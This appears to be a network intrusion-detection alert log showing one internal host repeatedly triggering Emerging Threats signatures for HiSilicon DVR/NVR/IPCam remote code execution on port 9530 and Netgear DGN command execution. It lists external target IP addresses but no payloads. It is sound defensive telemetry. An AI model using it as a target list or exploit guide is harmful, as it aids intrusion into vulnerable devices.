05/16/24-16:39:05.675949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46996	9530	192.168.2.23	42.87.235.186
05/16/24-16:38:50.068427	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40676	9530	192.168.2.23	208.31.83.80
05/16/24-16:38:50.068427	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40676	9530	192.168.2.23	208.31.83.80
05/16/24-16:38:55.176089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60912	9530	192.168.2.23	189.171.156.238
05/16/24-16:39:08.124540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40724	9530	192.168.2.23	84.121.49.66
05/16/24-16:39:12.377521	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33792	9530	192.168.2.23	47.123.52.170
05/16/24-16:39:13.658796	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	38618	80	192.168.2.23	206.92.128.139
05/16/24-16:38:57.442640	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47396	9530	192.168.2.23	65.179.43.110
05/16/24-16:39:08.124540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40724	9530	192.168.2.23	84.121.49.66
05/16/24-16:38:57.442640	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47396	9530	192.168.2.23	65.179.43.110
05/16/24-16:39:12.377521	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33792	9530	192.168.2.23	47.123.52.170
05/16/24-16:38:57.303907	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43428	9530	192.168.2.23	35.40.196.224
05/16/24-16:38:57.303907	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43428	9530	192.168.2.23	35.40.196.224
05/16/24-16:38:55.212347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58688	9530	192.168.2.23	144.165.104.174
05/16/24-16:38:55.212347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58688	9530	192.168.2.23	144.165.104.174
05/16/24-16:39:03.280094	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38632	9530	192.168.2.23	74.195.116.240
05/16/24-16:38:53.069510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52096	9530	192.168.2.23	92.111.207.131
05/16/24-16:38:53.069510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52096	9530	192.168.2.23	92.111.207.131
05/16/24-16:39:02.747938	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53306	9530	192.168.2.23	175.216.113.120
05/16/24-16:39:02.747938	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53306	9530	192.168.2.23	175.216.113.120
05/16/24-16:39:16.585516	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42188	9530	192.168.2.23	57.149.64.129
05/16/24-16:39:16.585516	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42188	9530	192.168.2.23	57.149.64.129
05/16/24-16:39:03.280094	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38632	9530	192.168.2.23	74.195.116.240
05/16/24-16:38:53.094139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36028	9530	192.168.2.23	112.63.114.109
05/16/24-16:38:53.094093	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58234	9530	192.168.2.23	216.45.106.54
05/16/24-16:38:53.094139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36028	9530	192.168.2.23	112.63.114.109
05/16/24-16:39:12.295313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44168	9530	192.168.2.23	213.191.244.142
05/16/24-16:39:12.295313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44168	9530	192.168.2.23	213.191.244.142
05/16/24-16:39:14.491185	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57708	9530	192.168.2.23	110.197.7.255
05/16/24-16:39:14.491185	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57708	9530	192.168.2.23	110.197.7.255
05/16/24-16:39:05.693256	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47486	9530	192.168.2.23	118.199.220.24
05/16/24-16:38:53.098259	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56548	9530	192.168.2.23	157.231.67.103
05/16/24-16:38:53.098259	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56548	9530	192.168.2.23	157.231.67.103
05/16/24-16:39:12.400603	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38716	9530	192.168.2.23	165.31.104.151
05/16/24-16:39:12.400603	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38716	9530	192.168.2.23	165.31.104.151
05/16/24-16:38:57.434381	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36886	9530	192.168.2.23	69.185.128.120
05/16/24-16:39:08.126482	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48140	9530	192.168.2.23	145.247.71.100
05/16/24-16:38:57.434381	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36886	9530	192.168.2.23	69.185.128.120
05/16/24-16:39:08.126482	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48140	9530	192.168.2.23	145.247.71.100
05/16/24-16:39:08.145371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53558	9530	192.168.2.23	162.191.91.108
05/16/24-16:39:08.145371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53558	9530	192.168.2.23	162.191.91.108
05/16/24-16:39:08.041872	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48230	9530	192.168.2.23	211.134.234.119
05/16/24-16:39:08.041872	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48230	9530	192.168.2.23	211.134.234.119
05/16/24-16:39:12.380613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59618	9530	192.168.2.23	71.18.251.241
05/16/24-16:39:12.380613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59618	9530	192.168.2.23	71.18.251.241
05/16/24-16:38:50.004299	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36814	9530	192.168.2.23	78.65.90.145
05/16/24-16:38:50.004299	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36814	9530	192.168.2.23	78.65.90.145
05/16/24-16:39:14.520181	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59420	9530	192.168.2.23	213.188.187.137
05/16/24-16:39:14.520181	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59420	9530	192.168.2.23	213.188.187.137
05/16/24-16:38:57.413353	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49788	9530	192.168.2.23	18.181.171.187
05/16/24-16:39:05.677894	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33680	9530	192.168.2.23	162.164.103.15
05/16/24-16:39:02.767184	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42822	9530	192.168.2.23	209.68.148.75
05/16/24-16:39:05.677894	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33680	9530	192.168.2.23	162.164.103.15
05/16/24-16:39:02.725611	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52494	9530	192.168.2.23	85.78.182.85
05/16/24-16:39:02.725611	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52494	9530	192.168.2.23	85.78.182.85
05/16/24-16:38:57.413353	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49788	9530	192.168.2.23	18.181.171.187
05/16/24-16:39:02.767184	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42822	9530	192.168.2.23	209.68.148.75
05/16/24-16:38:55.196677	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60006	9530	192.168.2.23	187.164.238.3
05/16/24-16:38:55.196451	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40234	9530	192.168.2.23	221.187.75.116
05/16/24-16:38:55.196677	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60006	9530	192.168.2.23	187.164.238.3
05/16/24-16:38:55.196451	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40234	9530	192.168.2.23	221.187.75.116
05/16/24-16:39:08.041888	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42702	9530	192.168.2.23	126.229.1.79
05/16/24-16:39:08.041888	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42702	9530	192.168.2.23	126.229.1.79
05/16/24-16:39:02.767764	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57264	9530	192.168.2.23	201.227.232.212
05/16/24-16:39:02.767764	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57264	9530	192.168.2.23	201.227.232.212
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46736	9530	192.168.2.23	197.212.229.34
05/16/24-16:38:50.080374	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37228	9530	192.168.2.23	23.84.130.194
05/16/24-16:38:50.080374	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37228	9530	192.168.2.23	23.84.130.194
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46736	9530	192.168.2.23	197.212.229.34
05/16/24-16:38:57.435733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48320	9530	192.168.2.23	36.74.86.52
05/16/24-16:38:57.435733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48320	9530	192.168.2.23	36.74.86.52
05/16/24-16:38:53.011549	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33736	9530	192.168.2.23	195.113.98.187
05/16/24-16:38:53.011549	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33736	9530	192.168.2.23	195.113.98.187
05/16/24-16:39:16.579924	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52054	9530	192.168.2.23	81.218.68.45
05/16/24-16:39:16.579924	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52054	9530	192.168.2.23	81.218.68.45
05/16/24-16:38:55.175001	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50298	9530	192.168.2.23	83.243.24.132
05/16/24-16:38:55.175001	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50298	9530	192.168.2.23	83.243.24.132
05/16/24-16:38:53.011497	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52306	9530	192.168.2.23	78.74.66.191
05/16/24-16:39:02.746062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39348	9530	192.168.2.23	80.216.123.213
05/16/24-16:38:53.011497	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52306	9530	192.168.2.23	78.74.66.191
05/16/24-16:38:59.519409	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51010	9530	192.168.2.23	126.217.65.94
05/16/24-16:39:02.746062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39348	9530	192.168.2.23	80.216.123.213
05/16/24-16:39:14.525623	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43764	9530	192.168.2.23	54.253.27.175
05/16/24-16:39:14.525623	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43764	9530	192.168.2.23	54.253.27.175
05/16/24-16:38:59.519409	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51010	9530	192.168.2.23	126.217.65.94
05/16/24-16:38:59.559323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42530	9530	192.168.2.23	163.243.184.106
05/16/24-16:39:02.765739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42578	9530	192.168.2.23	83.83.250.170
05/16/24-16:39:14.521988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47486	9530	192.168.2.23	131.164.218.151
05/16/24-16:38:53.094139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35336	9530	192.168.2.23	100.238.192.202
05/16/24-16:38:59.559323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42530	9530	192.168.2.23	163.243.184.106
05/16/24-16:39:02.765739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42578	9530	192.168.2.23	83.83.250.170
05/16/24-16:39:14.521988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47486	9530	192.168.2.23	131.164.218.151
05/16/24-16:39:05.693265	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45066	9530	192.168.2.23	116.208.58.46
05/16/24-16:38:53.094139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35336	9530	192.168.2.23	100.238.192.202
05/16/24-16:39:05.693265	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45066	9530	192.168.2.23	116.208.58.46
05/16/24-16:38:53.011331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55730	9530	192.168.2.23	148.82.13.159
05/16/24-16:38:59.558397	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60040	9530	192.168.2.23	75.177.237.197
05/16/24-16:38:59.558397	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60040	9530	192.168.2.23	75.177.237.197
05/16/24-16:39:03.263569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36888	9530	192.168.2.23	39.181.86.184
05/16/24-16:38:53.011331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55730	9530	192.168.2.23	148.82.13.159
05/16/24-16:38:55.196451	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51226	9530	192.168.2.23	200.71.159.27
05/16/24-16:39:03.277940	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50506	9530	192.168.2.23	49.94.146.68
05/16/24-16:39:16.580836	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34430	9530	192.168.2.23	99.109.237.43
05/16/24-16:39:03.277940	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50506	9530	192.168.2.23	49.94.146.68
05/16/24-16:39:16.580836	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34430	9530	192.168.2.23	99.109.237.43
05/16/24-16:39:03.263569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36888	9530	192.168.2.23	39.181.86.184
05/16/24-16:38:53.100369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59182	9530	192.168.2.23	176.87.2.7
05/16/24-16:38:53.100369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59182	9530	192.168.2.23	176.87.2.7
05/16/24-16:39:12.400617	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40140	9530	192.168.2.23	146.135.34.224
05/16/24-16:39:16.600094	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56942	9530	192.168.2.23	153.77.193.73
05/16/24-16:39:16.600094	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56942	9530	192.168.2.23	153.77.193.73
05/16/24-16:38:55.223829	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42884	9530	192.168.2.23	187.65.74.238
05/16/24-16:39:16.600044	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54282	9530	192.168.2.23	72.252.178.116
05/16/24-16:38:55.196451	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51226	9530	192.168.2.23	200.71.159.27
05/16/24-16:38:55.223829	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42884	9530	192.168.2.23	187.65.74.238
05/16/24-16:39:16.600044	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54282	9530	192.168.2.23	72.252.178.116
05/16/24-16:38:55.210448	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57344	9530	192.168.2.23	1.121.142.249
05/16/24-16:39:02.768675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37824	9530	192.168.2.23	185.164.11.152
05/16/24-16:39:12.298298	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43158	9530	192.168.2.23	75.116.34.43
05/16/24-16:39:02.768675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37824	9530	192.168.2.23	185.164.11.152
05/16/24-16:39:12.298298	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43158	9530	192.168.2.23	75.116.34.43
05/16/24-16:39:12.400617	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40140	9530	192.168.2.23	146.135.34.224
05/16/24-16:38:55.193173	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56964	9530	192.168.2.23	222.75.167.116
05/16/24-16:38:55.176023	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41458	9530	192.168.2.23	64.86.153.130
05/16/24-16:38:55.176023	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41458	9530	192.168.2.23	64.86.153.130
05/16/24-16:38:55.210448	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57344	9530	192.168.2.23	1.121.142.249
05/16/24-16:38:55.193173	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56964	9530	192.168.2.23	222.75.167.116
05/16/24-16:38:50.047559	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49964	9530	192.168.2.23	137.178.72.48
05/16/24-16:38:50.047559	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49964	9530	192.168.2.23	137.178.72.48
05/16/24-16:39:16.602039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52138	9530	192.168.2.23	65.26.0.74
05/16/24-16:39:16.602039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52138	9530	192.168.2.23	65.26.0.74
05/16/24-16:38:55.201814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50106	9530	192.168.2.23	54.185.32.215
05/16/24-16:38:55.201814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50106	9530	192.168.2.23	54.185.32.215
05/16/24-16:38:59.590309	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34814	9530	192.168.2.23	106.49.117.12
05/16/24-16:39:16.605683	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42784	9530	192.168.2.23	108.231.160.234
05/16/24-16:39:05.699206	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56768	9530	192.168.2.23	43.51.8.84
05/16/24-16:39:16.605683	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42784	9530	192.168.2.23	108.231.160.234
05/16/24-16:39:05.699206	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56768	9530	192.168.2.23	43.51.8.84
05/16/24-16:38:59.590309	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34814	9530	192.168.2.23	106.49.117.12
05/16/24-16:39:12.298151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36926	9530	192.168.2.23	73.226.251.52
05/16/24-16:39:12.298151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36926	9530	192.168.2.23	73.226.251.52
05/16/24-16:39:14.494644	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60448	9530	192.168.2.23	213.98.127.159
05/16/24-16:38:50.080118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55480	9530	192.168.2.23	125.54.186.176
05/16/24-16:38:50.076383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41278	9530	192.168.2.23	107.189.219.88
05/16/24-16:39:14.494644	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60448	9530	192.168.2.23	213.98.127.159
05/16/24-16:38:50.076383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41278	9530	192.168.2.23	107.189.219.88
05/16/24-16:39:03.260924	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50500	9530	192.168.2.23	185.119.82.146
05/16/24-16:39:05.694675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46850	9530	192.168.2.23	45.207.37.175
05/16/24-16:39:08.041815	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43972	9530	192.168.2.23	19.161.216.62
05/16/24-16:38:50.080118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55480	9530	192.168.2.23	125.54.186.176
05/16/24-16:39:03.260924	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50500	9530	192.168.2.23	185.119.82.146
05/16/24-16:39:05.694675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46850	9530	192.168.2.23	45.207.37.175
05/16/24-16:39:08.041815	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43972	9530	192.168.2.23	19.161.216.62
05/16/24-16:39:08.128011	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40412	9530	192.168.2.23	198.123.255.126
05/16/24-16:39:08.128011	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40412	9530	192.168.2.23	198.123.255.126
05/16/24-16:38:53.061015	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56466	9530	192.168.2.23	47.23.253.126
05/16/24-16:38:53.061015	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56466	9530	192.168.2.23	47.23.253.126
05/16/24-16:38:57.444117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39942	9530	192.168.2.23	77.174.53.228
05/16/24-16:38:57.444117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39942	9530	192.168.2.23	77.174.53.228
05/16/24-16:39:08.149457	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54886	9530	192.168.2.23	139.158.59.86
05/16/24-16:39:08.149457	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54886	9530	192.168.2.23	139.158.59.86
05/16/24-16:39:13.657143	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	33530	80	192.168.2.23	158.131.1.161
05/16/24-16:39:03.280114	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36036	9530	192.168.2.23	59.1.140.116
05/16/24-16:39:03.280114	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36036	9530	192.168.2.23	59.1.140.116
05/16/24-16:39:08.125318	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57304	9530	192.168.2.23	68.54.224.86
05/16/24-16:39:08.125318	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57304	9530	192.168.2.23	68.54.224.86
05/16/24-16:39:16.614061	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45028	9530	192.168.2.23	221.98.173.225
05/16/24-16:39:16.614061	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45028	9530	192.168.2.23	221.98.173.225
05/16/24-16:39:16.582466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49486	9530	192.168.2.23	155.241.201.248
05/16/24-16:38:59.589051	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51730	9530	192.168.2.23	90.127.20.32
05/16/24-16:39:16.579400	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58016	9530	192.168.2.23	166.204.159.63
05/16/24-16:39:16.582466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49486	9530	192.168.2.23	155.241.201.248
05/16/24-16:38:59.520010	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51384	9530	192.168.2.23	19.73.108.13
05/16/24-16:39:05.701609	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38122	9530	192.168.2.23	156.135.1.11
